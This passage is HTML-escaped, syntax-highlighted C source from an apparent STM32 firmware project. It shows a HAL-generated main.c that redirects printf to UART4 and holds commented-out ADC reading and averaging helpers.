class=\"lnt\"\u003e315\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e316\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e317\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e318\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e319\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e320\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e321\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e322\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e323\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e324\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e325\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e326\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e327\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e328\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e329\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e330\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e331\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e332\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e333\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e334\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e335\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e336\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e337\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e338\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e339\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e340\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e341\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e342\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e343\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e344\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e345\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e346\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e347\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e348\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e349\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e350\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e351\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e352\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e353\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e354\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e355\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e356\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e357\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e358\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e359\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e360\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e361\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e362\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e363\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e364\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e365\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e366\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e367\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e368\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e369\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e370\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e371\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e372\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e373\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e374\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e375\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e376\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e377\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e378\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e379\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e380\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e381\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e382\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e383\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e384\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e385\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e386\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e387\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e388\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e389\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e390\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e391\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e392\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e393\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e394\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e395\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e396\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e397\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e398\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e399\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e400\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e401\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e402\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e403\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e404\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e405\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e406\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e407\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e408\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e409\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e410\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e411\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e412\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e413\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e414\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e415\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e416\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e417\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e418\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e419\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e420\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e421\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e422\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e423\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e424\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e425\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e426\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e427\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e428\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e429\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e430\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e431\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e432\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e433\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e434\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e435\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e436\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e437\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e438\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e439\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e440\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e441\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e442\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e443\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e444\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e445\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e446\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e447\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e448\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e449\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e450\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e451\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e452\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e453\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e454\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @file : main.c\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief : Main program body\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @attention\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * Copyright (c) 2023 STMicroelectronics.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * All rights reserved.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * This software is licensed under terms that can be found in the LICENSE file\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * in the root directory of this software component.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * If no LICENSE file comes with this software, it is provided AS-IS.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Includes ------------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;main.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;adc.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;tim.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;usart.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;gpio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private includes ----------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private typedef -----------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PTD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PTD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private define ------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private macro -------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PM */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PM */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private variables ---------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PV */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PV */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private function prototypes -----------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PFP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PFP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private user code ---------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// redirect `printf`\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用HAL库函数HAL_UART_Transmit将字符ch发送到UART4串口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 返回发送的字符,这通常不会有实际的影响,但是它需要返回发送的字符。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint16_t Get_adc(void)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// HAL_ADC_Start(\u0026amp;hadc1);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// HAL_ADC_PollForConversion(\u0026amp;hadc1, 2);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// if (HAL_IS_BIT_SET(HAL_ADC_GetState(\u0026amp;hadc1), HAL_ADC_STATE_REG_EOC))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return HAL_ADC_GetValue(\u0026amp;hadc1);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// else\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return Get_adc();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint16_t Get_adc_Average(uint8_t times)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint32_t sum = 0;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// for (uint8_t i = 0; i \u0026lt; times; i++)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// sum += Get_adc();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return sum / times;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 